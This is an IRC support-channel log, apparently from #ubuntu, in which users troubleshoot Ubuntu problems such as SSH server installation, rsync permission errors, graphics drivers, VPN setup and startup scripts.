choices. Anyone know how to get gparted to recognize xfs as an option? [13:48] read everything on them [13:48] ThuLex: you don't pay attention,s o I doubt you did [13:48] they still just froze or went wrong [13:48] Currently, it only chmods only the main dir but leaves the subdirs untouched [13:48] ndiswrapper showed speeds of 54m/s, as per bcm43xx only 24m/s [13:48] Andycasss: chomod -R [13:48] hi [13:48] Thanks [13:48] im doing two things a once [13:48] ThuLex: so ? [13:48] im on two computers [13:48] ThuLex: so ? [13:48] gamed|ph: hi [13:48] its hard to see everyones reply while im doing what the first person suggested [13:48] is there a way to copy only a directory without content but with permissions? [13:48] is there a gconf setting to make desktop icons align to the right side of the screen? [13:48] ThuLex: You're confusing us here. [13:49] gamed|ph: not really, just create an empty dir and chmod it to the write permissions [13:49] hm [13:49] sorry [13:49] i dont mean to be ... anything [13:49] im just frustrated [13:49] 3 days and i still cant get it to work [13:49] Maybe, I should go back to -generic, and rainstall LAMP? [13:49] ikonia: ok thanks, thats the way i do it before *g* [13:49] *reinstall [13:49] IndikuT: I suggest that. [13:49] IndikuT: I suspect your system is a mix match of stuff now [13:49] All fresh install... reformats/no partitions [13:49] IndikuT: ok [13:50] :) [13:50] ThuLex: You can ask your questions here, but please just one at a time. [13:50] Everything is running smooth as of now, Just, cant get my WiFi going for some reason [13:50] IndikuT: your system is probably a mix/match [13:50] IndikuT: re-install using the desktop [13:50] ok look, i will start again and see if i can try to read what u all put [13:51] i have partitioned my usb key in two partitions, sdf1 and sdf2 [13:51] is there a gconf setting to make desktop icons align to the right side of the screen? [13:51] i can format sdf1 [13:51] ikonia: Do a fresh install from the -generic ISO? [13:51] IndikuT: from the "desktop" cd [13:51] Gotcha :) [13:51] but when i try to format sdf2 it comes up /dev/sdf2 is mounted; will not make a filesystem here! [13:51] Be back (But Hopefully not) [13:51] but when i umount it it says that the /dev/sdf2 was not mounted... [13:51] thanks [13:52] ThuLex: does the output of typing 'mount' on a terminal show that /dev/sdf2 is mounted? [13:53] well if i just type mount nothing happens [13:53] just another line for me to type in a comman [13:53] command [13:53] i want to add a script to be started when the machine starts it is a bash script .. so how to ?

I have a dual core laptop and wanted to have the best kernel for my machine [13:54] Grem: all kernels are smp now [13:54] Grem: the -generic kernel supports smp just fine [13:54] so no fuss about 686? [13:54] no [13:54] ikonia: you know how I can pass the username to a command in find's -exec? [13:54] the 386 is the best [13:54] ok tks ikonia and Pici [13:55] :) [13:55] gamed|ph: do you mean for owner [13:55] yes [13:55] i just type "mount" in the terminal line right?

Fullscreen video should be ok, so long as it isn't HD. I'm running AIGLX. [14:34] ZeroA4: Oh, I didn't see it, and it's pretty hard to find out when I *don't* know what am I looking for. :P Should I add this to 'advanced' input area on printer configuration?

[14:35] how can I open port 22 on my test box, so I can scp/ssh into it? Have have physical access to it. [14:35] knifepoint, The power of the video card might be the problem with the HD, not open driver or AIGLX. [14:36] ja1: is openswan installed?

Though I may have fiddled with something a year ago after the install? It can reach this box just fine, ssh, vncviewer work, but this box can't touch it. [14:40] Lunks: Yes, the -o outputorder=reversed as a commandline option prints it in reverse order. For GUI I don't know [14:40] n2diy: can you 'ssh localhost' on the dapper box? [14:40] jrib: no windows involved, both boxes are pure Dapper. [14:40] * genii hands ZeroA4 a coffee [14:40] genii: Ok, thank you very much. On GUI, you just have to add outputorder, than set reversed as its value. [14:41] any reason my internet would work but the update manager and sysaptic package manager wouldn't? [14:41] Lunks: You're welcome [14:41] * ZeroA4 thanks genii [14:41] ZeroA4: Anytime :) [14:41] how do you do the emotes? [14:41] Fain: botched proxy settings maybe?

[14:42] w00t [14:42] can anyone help me? [14:42] lol [14:42] Reading package lists... Done [14:42] ask florian_ [14:42] i just startet my computer, and now xserver doest work proper any longer [14:42] bazhang: it uses vesa as driver. [14:42] Fain: so you can use apt in the terminal just fine? Try to install something [14:43] knifepoint, Sorry, I got a phone call. You can buy nvidia, I just don't like when people think ATI can't do anything. I wanted to let you know it wasn't the card, just the setup. It's up to you what you get. [14:43] bazhang: i also tried to copy my old xorg.conf to /etc/X11, but it's the same again. [14:43] florian_: have you installed the proper drivers? which card? [14:43] hello [14:43] did, what happens is it says the package isn't availble, then I recheck and it find 6 of 6 package, update the list, and still won't actually update anything [14:43] nvidia 6600GT, driver should be nvidia. [14:44] sudo dpkg-reconfigure xserver-xorg florian_ to reconfigure x [14:44] bazhang: yesterday and months before it worked perfect.. [14:44] jrib, I ran ssh localhost here, and was asked to confirm this boxes ID, but I still can't get into the test box, port 22 permission denied. The test box gets into this box with no trouble at all. I have Firestarter running on this box, but not on the test box. [14:44] abcde: I love ati card but it just seems nvidia drivers a far more advanced on linux at the moment [14:44] bazhang: i did this already [14:44] florian_: gutsy? [14:44] http://pici.se/163695/ Look at that picture. Notice the big gap? Do you to have these problem with aMSN? [14:44] bazhang: 7.10 [14:44] I am poking at it where I can, the issue doesn't make sense to me simply because it WAS working on the previous install [14:44] Would broken SSL handling in apache be considered serious enough to warrant a security update? [14:44] bazhang: don't know the codenames of ubuntu ;) [14:44] florian_: running compiz-fusion? [14:45] bazhang: yes. [14:45] n2diy: don't say "here" since I have no idea what that means :) I wanted you to run 'ssh localhost' on the test box [14:45] florian_: gutsy gibbon = 7.10 :} [14:45] sylvan: check out this java VR applet http://www.fsoft.it/panorama/ptviewer.htm [14:45] florian_: have you been using the driver from the Nvidia website / from envy, or have you been using nvidia-glx-new and linux-restricted-modules from the apt repos? That is, up until you had to use vesa? [14:45] I'm trying to troubleshoot a routing issue I have. Is there a way to log or inspect packets coming in so I can see what is actually happening? [14:45] knifepoint, That is somewhat true at the moment, but not for much longer, since ATI is working on it. [14:45] How do i find out the admin password for my local cups configuration in ubuntu? [14:45] florian_: is it enabled now? [14:45] *default admin password [14:45] bazhang: no it isnt [14:46] I have installed Ubuntu 3 times off this LiveCD, first two times the LiveCD found the network drivers fine and internet worked from the LiveCD, however the 3rd time the net wouldn't work [14:46] komputes: OK, thank you. I am familiar with the PanoTools but wasn't aware that they might also do the trick with QT panoramas. [14:46] At work I can run IE from within firefox in XP. Is that possible without too much trouble in Ubuntu? [14:46] so...network issue of some sort? [14:46] jrib, ok, this is my localhost, the test box is the remote one! :) Let me give it a try. [14:46] bazhang: dmesg | tail tells nothing about any xorg problems :( [14:46] I've checked cupsd.conf its not there [14:46] abcde: hmmm true but the newer drivers have actually been a step back for me with the 9600 so i havn't seen the improvements can you get the x600 AGP? === IndikuT is now known as Ind1kuT [14:47] craigbass1976: I don't think the IEtab FF extension works in any OS but Windows, since IE's rendering engine is pretty much built into the Windows shell. The closest you can come is to run IE as an independent browser using ies4linux. [14:47] bazhang: i just got have to make it working again as fast as possible, because i have to do some very!! important things for school. [14:47] jrib, ok, I ran ssh localhost, from the terminal of the test box, and was refused by port 22. [14:47] florian_: have you been using the driver from the Nvidia website / from envy, or have you been using nvidia-glx-new and linux-restricted-modules from the apt repos? That is, up until you had to use vesa? [14:47] florian_: that is strange--hope to help though I am not an x expert [14:47] rojo^, ies4linux? Never heard of it. INteresting [14:47] rojo^: those in the repository. [14:48] florian_: laptop? which make and model? [14:48] n2diy: what does 'apt-cache policy openssh-server | grep -i Installed' return? [14:48] craigbass1976: its a package/bundle that lets you run IE in linux with wine [14:48] ive got it installd it kinda works [14:48] carigbass, consider using virtualbox if you need to see exactly what happens under IE on XP [14:48] hi everyone [14:48] bazhang: still have to write about 7-9 pages time goes out slowly.. :( [14:48] knifepoint, I use the open drivers, never had a problem. I'd suggest trying them before spending the money, since AGP might be harder to find [14:48] n2diy: on the test box [14:48] florian_: Are you booting to console now? What happens when you type "startx" as your regular user account? Any appropriate error messages? [14:49] abcde: Yeah just trying to get opinions on here so i didnt have to do the dirty work :P Do you have a TV Tuner card running? === Ind1kuT is now known as IndikuT [14:49] sylvan: I'm not sure either, i just got some codecs and media applications from add/remove on 7.10 and QTVR works for me, but I saw PanoTools recommended on the ubuntu forums [14:49] craigbass1976: yeah, google ies4linux. It's useful for developing web pages to see how badly IE renders them. ;) [14:49] jrib, wait one. [14:49] bazhang:, rojo^: yesterday i configured simple-backup (thats why i had the old xorg.conf) is it maybe a rea [14:49] son [14:49] any ideas on this? "I'm trying to troubleshoot a routing issue I have. Is there a way to log or inspect packets coming in so I can see what is actually happening?" [14:50] anyone here having problems with pidgin's plugins? :D whenever I start pidgin, the plugins that I used on my last sessions aren't automatically activated [14:50] my plugin settings aren't saved [14:50] rojo^, You're not telling Me anything I don't know. I took a job a couple months ago and have to use windows ALL DAY! Feel like cutting my wrists sometimes. [14:50] bazhang, rojo^: wifi-drivers don't really work since 7.10.. [14:50] (i'm back) [14:50] bazhang:, rojo^: yesterday i configured simple-backup (thats why i had the old xorg.conf) is it maybe a rea [14:50] but that's a pidgin problem, isn't it? [14:50] son for xorg not to work [14:50] where can I ask some questions about nvidia drivers please [14:51] jrib, none [14:51] komputes: What software do you use to display QTVR? [14:51] knifepoint, I run windows MCE on another machine, delegation is good. [14:51] florian_: is that the last time it was working? before you did that? [14:51] florian_: never used simple-backup. I have a craptastic bash script I use to back up my junk. [14:51] bazhang: yes. [14:52] hi all [14:52] i need help :C [14:52] florian_: so, you didn't answer my question earlier. Any appropriate error messages result when running startx from the console? [14:52] be right back [14:52] phone [14:52] abcde: Ahh i see im a uni student with little space so would rather have it all on the one unit. Thanks for all the help ill look it into it a bit more before i make my decision. [14:53] n2diy: you need to install it, the ssh server is not installed by default [14:53] rojo^: excuse me, but my driver threw my out of the connection. [14:53] where can I ask some questions about nvidia drivers please [14:53] !ask | cyberfin [14:53] cyberfin: Don't ask to ask a question. Just ask your question :) [14:53] * genii sips a coffee and thinks about craptastic junk bashing [14:53] rojo^: i will just try it [14:53] lol [14:53] using tasksel: I chose LAMP, and left a star in "ubuntu-desktop". Though, Now Im watching the terminal remove everything that has to do with "ubuntu-desktop". Should I be worried? [14:53] knifepoint, MythTV would be more of a cpu thing than gpu, meaning your ATI could probably do it, depending on your cpu [14:53] jrib, ok, the test box doesn't have access to the internet. How could I suck into the test box over the lan, from this box? [14:54] ok I've installed latest nvidia drivers for my 8500gt with envy but opengl doesnt work correctly... [14:54] what gives? [14:54] abcde: Yeah i i would just need to change to the open drivers to utilise AIGLX [14:54] i have a 64 bit system [14:54] rojo^: the logfiles don't tell anything about an error. [14:54] n2diy: you can't, you need to install ssh somehow [14:54] cyberfin, what do you mean by opengl isnt working? [14:55] abcde: ill give em a spin tomorrow and see how i go [14:55] well when I run tests with cedega it says that opengl fails [14:55] tells me that the drivers aren't correctly configured [14:55] florian_: when you startx, X either dies, or you get a windowing system. If X dies, it gives a reason why. So, which is happening -- X is dying or X is launching as it should? My humble apologies, but I must take a smoke break. I'll be back in a few minutes [14:55] sylvan: movie player seems to be taking care of it, but it's a bit buggy [14:55] IndikuT: ubuntu-desktop is a meta package so it can safely be removed. if for any reason you have no GUI when it is done you can always sudo ap-get install ubuntu-desktop again and it will re-install the GUI [14:55] !enter | cyberfin [14:55] cyberfin: Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation! [14:55] I've tried the drivers from nvidia's site [14:56] rojo^: i had to log off this chat to see that. [14:56] ok sorry [14:56] IdleOne: I thought so.. thanks. :) [14:56] jrib, I have ssh, and vnc, both working. I guess I just need the ssh-server? [14:56] rojo^: x is running, but only with vesa. [14:56] rojo^: i'll be back in some minutes. [14:56] i would like to be notified when i'm getting a new mail... how do i do this? i'm running a cronjob on fetchmail... and my mailbox i set to /var/spool/mail/toresn [14:56] n2diy: you need to install the "openssh-server" package on the test box [14:57] n2diy: just give it internet access for a few minutes, that would be the easiest way [14:57] well as I said I've tried the drivers from nvidia's site and swam through the forums but I can't seem to find a simple solution to installing the driver (whichever) that will give 32 bit support on ubuntu 64 bit [14:57] i would like to be notified when i'm getting a new mail... how do i do this? i'm running a cronjob on fetchmail... and my mailbox i set to /var/spool/mail/toresn (also i'm using the default shell, bash) [14:58] cyberfin: why don't you just install 32bit? [14:58] 32bit ubuntu [14:58] sylvan: it worked, now it doesn't - pretty flakey [14:58] jrib, Yes that is what I thought, so I need to access my apt-get archive on this box, from the text box. Hooking up the test box to the internet would be a major hassle. [14:58] cyberfin, i've got an 8500 gt as well and the drivers installed by the restricted drivers manager seems to be doing reasonably well. I dont use cedega though, so I'm not sure what your problem comes from. I'm running 64 bit too [14:59] i'm installing ubuntu gutsy server on my old pc right now .. there's a networking script in /etc/rcS.d which should bring up the network interfaces .. but it doesn't. what's that script for, then? [14:59] komputes: LOL, sorry, I hope it's not related to me bugging you about the whole QTVR thing. [15:00] cyberfin, please run "glxgears -info" in a terminal and tell me yoru frame rates [15:01] 186471 frames in 5.0 seconds = 36973.754 FPS [15:01] n2diy: maybe you could even forward the port apt-get uses on the test box to the other box using ssh, no idea if that works. Other options are to burn a dvd and use that as a repository, copy over the debs you need to /var/cache/apt/archives (from memory), use apt-zip, or use the switch for apt-get that only prints the uri's for the debs you need then download those and copy them over [15:01] that's about average [15:02] mysql-devel appears to not be in the repository ... any way to install it? [15:02] sylvan: no problem, its something I want to work well, but untill apple jumps on the linux bandwagon creating itunes and QT for linux, i think we'll have to wait [15:02] QT for Linux??? [15:02] when i run "/etc/init.d/openafs-client restart" i get an error saying that openafs.o does not exist [15:03] cyberfin, it looks like the drivers are fine [15:03] yer... I think it might be a problem with cedega... I'm gonna try their forums for a while... thanks for the input and thoughts [15:04] cyberfin, perhaps cedega has some issue with the nvidia drivers? [15:04] rojo^: /lib/modules/[kernel]/volatile/nvidia.ko is missing. [15:04] jrib: roger that, thanks. Port forwarding is not my forte, and putting packages on CD's sounds like the path to dependency hell. Thanks for trying. [15:04] komputes: Actually the whole QTVR thing should be super-simple to implement in an OpenSource alternative, for in the end it's nothing more than still images aligned on a ball (super-simplyfing here, I guess). [15:04] rojo^: let's see if its in any of my backup archives [15:04] again, thanks and good afternoon... [15:04] anytime [15:05] Hello everybody, I have a strange problem with nautilus freezing when I open it from the panel or when I try to delete something [15:05] n2diy: if you install openssh-server on one box and copy over the debs from /var/cache/apt/archives, it should "just work" [15:06] jrib: ok, we have come full circle, that is where I get the mkstemp permissions denied errors. [15:07] salve, dove posso trovare visual basic??? [15:07] n2diy: pastebin the command and the error in full [15:08] Kudos to Linux, Debian, Ubuntu, and most importantly the Synaptic Package Manager for being pleasantly surprised to find that the tools I thought were too obscure to be readily available in the package manager were ... in the package manager! [15:08] chuck_norris91: sei sul canale di supporto di Ubuntu... ti sembra una domanda sensata? Comunque, qui si parla solo inglese, vai su #ubuntu-it SE hai una domanda su Ubuntu, altrimenti prova ##windows [15:08] n2diy, could you tell me what you want to do..? I've got a networked setup too, maybe i can hep? [15:09] How do I add users on a network system?! I tried adding them at the server. [15:09] grazie e scusa [15:09] jrib: I can't! I can only run them from the test box, and get get them here to this box! [15:09] n2diy: what are you running? [15:10] devilsadvocate: I'm trying to rsync this box to my test box, /home/transferred ok, but /etc/ won't: mkstemp errors, permission denied. [15:11] jrib: rsync Chatto:/etc/ /etc/ I'm running that from Geronimo, which is the test box, this one is Chatto. [15:13] joe_: you are wondering about ldap? === pop is now known as pop_ [15:15] devilsadvocate: If I could open port 22 on my test box, I'd be making progress. I have physical access to it. [15:16] n2diy, the ssh port? [15:16] need help :C [15:17] devilsadvocate: Yes, I suppose, I get the denials with ssh and scp. [15:17] need help [15:17] anyone know if i can remotely admin my router if i have ssh access to a box on the network (the router itself is not set up for remote admin itself - i.e. i can't remotely connect directly to the router) [15:17] n2diy, aptitude install openssh-server? [15:17] can i install visual studio 2005 on ubuntu?? [15:18] pike_ I'm not sure. [15:18] you can try with Wine... hahaha [15:18] Oo [15:18] on a fresh install of ubuntu, when i try to open network, it shows the loading mouse thing, but it never opens, and theres no error [15:18] h4rd-1: no but you can install it on windows [15:18] visual studio. haha [15:18] sounds difficult. [15:18] =) [15:18] :C [15:18] h4rd-1 if you want something like VB on Linux, try Gambas [15:18] what's that? [15:18] kierov, mono? [15:19] It's obviously something like VB on linux [15:19] A BASIC language object oriented with a GUI like VB Studio [15:19] chimp: try starting it from a terminal and see if any errors are output [15:19] I dont have 'man bz2', is there someway to find such files? [15:19] devilsadvocate: the test box doesn' have access to the internet, only to this box, through the lan. I've I could get the test box to access apt's archive on this box, I would be good to go. Or ditto, if I could pass the internet connection through the lan, to the test box. [15:19] okay [15:19] * genii makes a pot of coffee for the ppl that need caffeine [15:19] Hey all, I need to set up a VPN-tunnel, how do I do this in ubuntu? [15:19] kierov : thank you [15:19] hairuflr: What are you using for your VPN concentrator? [15:20] Pretty good if you use VB, easy to learn, syntax is the same except for some things like a messagebox [15:20] akincer: The VPN is all sety up, is just need to connect to it, actually, it's nothing i've made :) [15:20] okay === _wretched is now known as __wretched [15:20] Differences are in the manual anyway [15:20] !pptp [15:20] Sorry, I don't know anything about pptp - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [15:20] hairulfr: I understand. What kind of VPN are you trying to connect to? [15:20] ah, n2diy the things are connected via the lan, then can you ssh tbetween the two boxes. Also, do you want to use the existing apt-cache or set it up for future use. If its for future use, look at http-replicator. if you want to set up interenet access, set up squid o the computer connected to the internet [15:20] multichil, what command will start it from terminal [15:21] I tried "NetworkManager" but that isnt it [15:21] try gnome- [15:21] akincer: Uhm - Encrypted? I have no idea...? [15:21] n2diy, http-replicator will allow the second comp to connect to the net via the first, and will also avoid downloading the same file twice [15:21] akincer: never really used it before [15:21] hairulfr: Do you have a pre-shared key? [15:22] devilsadvocate: that is the trick, the test box can ssh, and vnc to this box, but this box can't touch the test box. Ok, let me look at http-replicator, thanks. [15:22] n2diy, on our network, we originally sued http replication to increase speed of package downloads.. basicall producing a pratial repo mirro. Later we just started to mirror the whole repo with debmirror [15:22] akincer: Don't know, I just need to know if it's possible through the standard ubuntu setupå [15:23] My Calendar button within Evolution makes the whole program crash when it is clicked and so then I installed Sunbird Calendar and used it for about 2 days and now suddenly Sunbird closes as soon as it opens up. Anyone know why I keep having these crashes?!?!?!? [15:23] hi [15:23] n2diy, can youinstall openssh-server on the test box? It should eb possible for it to go both ways, as long as both have the sever [15:23] hi [15:23] good morning all [15:23] chimp: i'm not sure the name of the app. are you refering to the one that you can change network setting? you could try network or networking or just type the first few letters and hit tab to have it auto complete. if nothing happens hit it twice for a list of options. [15:23] ahh found it [15:23] network-admin [15:24] hairulfr: VPN is not a point and click sort of thing. You can connect to most VPN servers/concentrators with Linux. But knowing _how_ to do it requires knowing what kind of VPN it is (i.e. Cisco or maybe a Sonicwall PSK) [15:24] akincer: It's the Relakks service, if you klnw it? [15:24] Can anyone help me fix tracker? I've tried the suggestions on the forums, but Tracker seems to break after a few searches. I've run this command "trackerd -v 2 -R", and it reindexes, then I can do a few searches, and then I start getting no results. Any ideas? [15:24] cheers for the help [15:24] chimp: maybe network-admin [15:24] n2diy, http-replicator is what you want though. but eventually you will end up needing ssh too, so you may want to spend some time trying to fix it [15:24] argh this laptop is really playing up though, i mean with open terminals after i type the command nothing happens [15:24] yeah musashi1 i found it [15:24] hairulfr: Never heard of it. I'll check Google [15:24] chimp: cool beans [15:25] akincer: Cool :) [15:25] is there a recommondation list for laptops? Thought of getting an alienware machine, since I love gaming [15:25] Laptop is being very strange, i try opening some programs and they will open straight away, but sometimes when i try opening them, nothing happens then 3 mins later the program just pops up [15:25] Salted, Ubuntu Laptop Compatibilty Pag on tee wiki [15:25] akincer: The thing is, don't wanna pay for it, if half my computers can't be on it [15:25] I'm trying to setup ventrilo to start on boot. The command to start ventrilo is "./ventrilo_srv -d" which I added above the exit 0 line in rc.local but it is still not working, any ideas? [15:25] My Calendar button within Evolution makes the whole program crash when it is clicked and so then I installed Sunbird Calendar and used it for about 2 days and now suddenly Sunbird closes as soon as it opens up. Anyone know why I keep having these crashes?!?!?!? [15:25] devilsadvocate: did you pull an all nighter too!? read your last statement! :) I can't install ssh-server on the test box, because this box is denied access to port 22. When I try and rsync the apt-get archives of this box, from the test box, I'm denied permission by mkstemp. I'm in a catch 22. [15:26] n2diy, openssh-server doesnt have many dependancies, if i remeber correctly. use a usb drive :P [15:26] hairulfr: I don't know anything about paying or not paying for it. You'll have to sort that out. Here is something I found on Gentoo's wiki. You might find some useful information there to get started: http://gentoo-wiki.com/Relakks [15:26] Hello everybody, I have a strange problem with nautilus freezing when I open it from the panel or I try to delete something [15:26] if anyone is familiar with Evolution, is there a way to send the mails from different accounts to subfolders of the inbox (or am i just being a moron and not seeing it) [15:26] akincer: : Cheers := [15:27] devilsadvocate: that would be a god send, and I'll give it a try now. [15:27] n2diy, download the .deb file and double click on it. It is fundamentally the same as using apt [15:27] hello everyone my wine doesn't work and compiz can not open ,what c an i do [15:27] bqshiji: compiz and wine don't play well together [15:27] devilsadvocate: i already have it here, just have to get it over to the test box. [15:27] is there a command to allow you to check to make sure all the system files are intact etc.? [15:27] I'm trying to setup ventrilo to start on boot. The command to start ventrilo is "./ventrilo_srv -d" which I added above the exit 0 line in rc.local but it is still not working, any ideas? [15:28] that's mee i must cut one???\ [15:28] is there any way i can put everything thats related to graphics like drivers and xorg to default on ubuntu ? [15:28] bqshiji: I don't think you have to do that, but I can't say for sure. Go over to #winehq and ask them [15:28] join #hydrogen [15:29] DJW2tone2; go f' off :) [15:29] advertisements suck. [15:29] n2diy, in case there are unmet dependancies, it will not be able to install. Howveer, it wil tell you what are missing. If there a small number of missing packages, you can get those as well. Install them one at a time. once the dependanceies are installed, runa dpkg-configure -a (or something like that.. taht will be in the error output) [15:30] anyway to fix the choppy video streaming on xine/firefox? [15:31] devilsadvocate: Thanks, I'm familiar with the "dependicies from hell" issues, been playing with linux since RH 5.2, and that is why I love Ubuntu, and Synaptic. [15:31] Hi, is there someone that can help me to connect my TV to my computer? Im using a Svideo cable to scart. I get a black and white picture on the TV and blackscreen on computer. [15:31] Can anyone give me an example of a rc.local file? I added my command but its not working... [15:31] Hi, how do I get the latest acrobat reader going on ubuntu... it only seems to come in rpm form [15:31] ghorman, what command did you add? [15:32] dmakalsky, I think that's in medibuntu [15:32] !medibuntu | dmakalsky [15:32] dmakalsky: medibuntu is a repository of packages that cannot be included into the Ubuntu distribution for legal reasons - See http://www.medibuntu.org [15:32] devilsadvocate: i added /data/ventsrv/ventrilo_srv -d right above the exit 0 [15:32] Anyone here can guide me abit on install of NVU ? Got the tar.bz2 file, packed it out, and now I dont have a clue to what I have to do. Did a ./nvu-config but that didnt say much! Searched a bit on google, but got usless info! [15:32] use the package manager it's in the repos [15:32] !info nvu [15:32] Package nvu does not exist in gutsy [15:32] oops perhaps not [15:32] It's not [15:33] I've tryed that ;) [15:33] tried [15:33] how can i change the highlighting-color of my directories in my gnome-terminal? [15:33] how can i change the terminals resolution ?, ttys on (F1 ---> F6) ?

Anyone know why I keep having these crashes?!?!?!? [15:36] Sorry, your search gave no results [15:36] n2diy: ok, where in .bashrc exactly (i'm pretty new to this :) [15:37] toresn: Not sure, been a while since I messed with it. I could be in an other *rc file? [15:37] Hi, how do I kill a process if I know what windows it belongs to? Is there any similiar ctrl+alt+esc way like in KDE?

[15:39] what do the options -rf mean in rm -rf? [15:40] nm man rm explained [15:40] IdleOne: don't mess with that command! -r is recursive, all sub directories and file will be history. I forget what the fi is. [15:40] *fi/f [15:41] pike_: what resolution would be 713 ? [15:41] f is force [15:41] IdleOne: so what does it mean? [15:41] pike_: i want it 1280x1024 [15:41] r=recursive f=force [15:41] what does recursive mean? [15:41] IdleOne: and what exactly does it remove? [15:42] nomojob: it will remove whatever dir or file you tell it to. -r option will remove dir and all subdir I assume [15:42] nomojob: when you run that command, everything in your current directory, and below it, becomes vaporware. [15:42] juano__: there is a table here at bottom of page https://wiki.ubuntu.com/FrameBuffer [15:42] olá [15:43] that would suck [15:43] oye henry [15:43] pike_: thanks [15:43] tem gente do brasil aqui?

[16:26] ikonia: one of the times I ran /etc/init.d/ssh restart, I did it as a normal user [16:26] Pici: I know this, however since NetworkManager fails to deal correctly with WPA -- wicd is a brilliant workaround [16:26] nightbreed i typed run znes in the terminal nothing happened [16:26] Overand: ah [16:26] Odd-rationale, no, it's working. It's just that I can't choose a CPU speed, for example. The control ability is missing. [16:26] ikonia: so a normal-user had that port open! [16:26] JJtech: Whay do you need to update that? [16:26] n2diy: I was only saying I have always seen that error, also when I was using 5.10, 6.06, 6.10, 7.04... same old story [16:26] nomojob, Patience is a virtue, I'm not sure I can help, but I'd suggest running it from the terminal, that way you can see any errors [16:26] nothing happened? [16:26] lol wtf [16:27] thats not good [16:27] nomojob, wrong thing, sorry [16:27] nightbreed: there is no need for language like "wtf" [16:27] what happens if you compile it from src? [16:27] drew: did you type 'run zsnes' or just zsnes? [16:27] ikonia: do you know how to update aclocal or not??? if it is not asked here(where i am installing) i shouldn;t be asking for how to update it.. [16:27] what was the kde ubuntu channel?? thx [16:27] harry_: #kubuntu [16:27] run zsnes [16:27] JJtech: yes, I know how to update it, and you should not do it [16:28] drew: just type zsnes and try again [16:28] damidalla: ok so you followed the upgrade path, good. And this problem goes all the way back to 5.10? Have you looked for bug reports/fixes? If not, I would file a bug report. [16:28] ikonia: but it said here at terminal that i should update it.. now i am really confused... [16:28] ah... the correct answer was /usr/lib32 .. apparently it worked... thanks! [16:28] JJtech: you shouldn't [16:28] lgc: Choose CPU speed? [16:28] ikonia: hmmm... ok.. i'll do that.. i'll move on.. [16:28] ok that worked but it says cant create mcop directory [16:28] Hiya [16:29] Need help here setting up xubuntu on a windows 2000 network [16:29] I already installed samba [16:29] another question: Adobe Reader needs to specify the directory containing the libgtembedmoz library, it doesn't accept /usr/lib/firefox or /usr/lib64/firefox [16:29] hello all [16:29] JJtech: there is no pre-made package for ubuntu to update and if you are not familiar with building/compiling then you should not do it I believe is what ikonia is trying to tell you [16:29] * nightbreed yawns [16:29] and managed to "mount" the network directory [16:29] i cant remember who mentioned removing the internet connection from my panel via sessions...but thanks [16:29] hello [16:29] Hello :> What would be a good brand/model of recent sound card that's compatible with the current Ubuntu kernel? The ICH8 based HD sound on my motherboard doesn't work very well :/ [16:30] So I can see the computers on the network and their shared folders [16:30] Odd-rationale, yes. [16:30] n2diy: no, that problem goes back only 4 days, on that 7.10, not upgraded from 7.04. The only things that goes back to 5.10, not showing any problem, is the error message saying "unknown key code" or someting similar [16:30] Hi - please advise graphic card to purchase for googlearth without worries/cli [16:30] But when I try to access them I get "permission denied" [16:30] IdleOne: ok.. i understand.. it would be okay if she/he told me straight.. but anyways, thanks.. [16:30] skopjote: hi - this is not a hardware support channel [16:30] JJtech: I did tell you straight [16:30] ok then i'll go back to dapper. if that works, stick with it. [16:30] JJtech: ikonia knows his stuff so if he says dont then dont :) [16:30] mikebeecham: Glad it worked! [16:31] IdleOne: I did what he said.. [16:31] JJtech: :) [16:31] see ya bye [16:31] ahhh there you are Odd-rationale thanks :D [16:31] damidalla: hmm, i don't know what to tell you, I'm running Dapper 6.06. === GodTodd__ is now known as GodTodd [16:32] lgc: I don't know then.

There is no icon, only a commandline option to run it, no way to set it up, I was promised graphical interface and a tray icon :/ [16:36] Odd-rationale, If you have a Centrino or the equivalente AMD processor, you certainly can. There's two ways of doing it: By writing the minimum frequency to a given file, or by writing the "driving mode" (i.e. powersave, performance, ondemand, and others). You can achieve that by actually writing to a file which the kernel reads in order to control the CPU (or the other way around, I don't know). The frequency monitor does that administration for you from within [16:36] the panel. [16:36] any1 ever done dualboot? [16:36] Bonster, I have [16:36] lgc: OK I don;t have that type of CPU power [16:37] Odd-rationale, do you have a desktop? [16:37] Rautamiekka: wat u need to dualboot ubuntu and xp? [16:37] elo? [16:37] Bonster, you must install xp first, then install Ubuntu [16:37] is it normal if you have a graphics card and onboard graphics for the live cd to switch cards during boot? [16:37] hairulfr: Did you try alt+f2 then type nm-applet? [16:37] lgc: laptop [16:37] anyone able to help? [16:37] Rautamiekka: hummm cant do it otherway around? [16:37] me? [16:38] !ask | kuribohx [16:38] kuribohx: Don't ask to ask a question. Just ask your question :) [16:38] ok ^_^ [16:38] Bonster, one is that you add a line to menu.lst but it doesn't work very well [16:38] umm well I have the 6.06 ubuntu iso correctly burned [16:38] Odd-rationale, an old one? [16:38] Hello, does anyone know what is the name of the program that opens a window with a new X session inside that? I would like to be logged in with my main user and then have a window where I can work with another user's account. [16:38] hi, i have tons of microsoft doc files with images inside. I know that with openoffice i can convert .doc to .html + image files. I need a way to do that (doc --> html + jpg, png,...) with a command line program to do that inside a script. Does someone know if the program exists?) [16:38] Rautamiekka: how about on 1 OS on Different Hard drives? [16:39] another quick question: Anyone know why CUPSD pauses during initilisation / boot? It waits for a good 30 seconds before continuing and I don't have any printers setup yet [16:39] * JJtech be right back.. === JJtech is now known as Got [16:39] lgc: three to five years or so. [16:39] and it loads just fine up till directly after the ubuntu start up sound (live cd) [16:39] Bonster, in any case you must get GRUB to notice your xp [16:39] hello, i have the folowing problem, after installation i created a second user and selected it to be normal user, not administrator and with this user i can't become root like with the user that was first created [16:39] and then the mouse stops moving [16:39] i-rACEr: add it to the adm group [16:40] i have an empty d: drive (40gig) with xp on c:, but in ubuntu installation in the partition window, i have some MB on d: although i know there's nothing on it. is it ok to go ahead with the ubuntu installation even though it tells me there's some data on d:? [16:40] Rautamiekka: alright was just making sure if that works [16:40] and then the cd drive stops loading [16:40] Odd-rationale, do 'cat /proc/cpuinfo' to find out if you have a centrino. [16:40] xnest. Thanks for help -_- [16:40] ikonia but i don't want that user to be an admin, just to do updates or install software ocasionally [16:41] soooooo yeah [16:41] i-rACEr: whats the difference in becoming root, and being an admin ? [16:41] lgc: under which heading? [16:41] is it possible my computer is not good enough? [16:41] or is there some way to do a safe mode type of thing in live cd? [16:42] ikonia i don't want that user to be able to become root, and if i add him to the admin group he can become root [16:42] i-rACEr: ok, create a sudo profile for him [16:42] hi all. Any one here with AMD HD 2600XT ? [16:42] Odd-rationale, on a terminal. [16:42] 